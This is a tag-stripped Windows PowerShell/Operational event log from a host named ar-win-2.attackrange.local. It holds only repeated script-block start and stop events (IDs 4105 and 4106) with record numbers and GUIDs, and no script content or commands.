410615103150x0669341Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669340Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669339Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669338Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669337Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669336Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669335Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669334Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669333Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669332Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669331Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669330Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669329Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669328Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669327Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669326Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669325Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669324Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669323Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669322Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669321Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669320Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669319Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669318Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669317Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669316Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669315Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669314Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669313Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669312Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669311Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669310Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669309Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669308Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669307Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669306Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669305Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669304Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669303Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669302Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669301Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669300Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669299Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669298Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669297Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669296Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669295Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669294Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669293Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669292Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669291Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669290Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669289Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669288Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669287Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669286Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669285Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669284Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669283Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669282Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669281Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669280Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669279Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669278Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669277Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669276Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669275Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669274Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669273Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669272Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669271Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669270Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669269Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669268Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669267Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669266Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669265Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669264Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669263Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669262Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669261Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669260Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669259Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669258Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669257Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669256Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669255Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669254Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669253Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669252Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669251Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669250Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669249Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669248Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669247Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669246Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669245Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669244Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669243Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669242Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669241Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669240Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669239Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669238Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669237Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669236Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669235Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669234Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669233Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669232Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669231Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669230Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669229Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669228Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669227Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669226Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669225Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669224Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669223Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669222Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669221Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669220Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669219Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669218Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669217Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669216Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669215Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669214Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669213Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669212Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669211Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669210Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669209Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669208Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669207Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669206Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669205Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669204Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669203Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669202Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669201Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669200Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669199Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669198Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669197Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669196Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669195Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669194Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669193Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669192Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669191Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669190Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669189Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669188Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669187Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669186Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669185Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669184Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669183Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669182Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669181Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669180Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669179Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 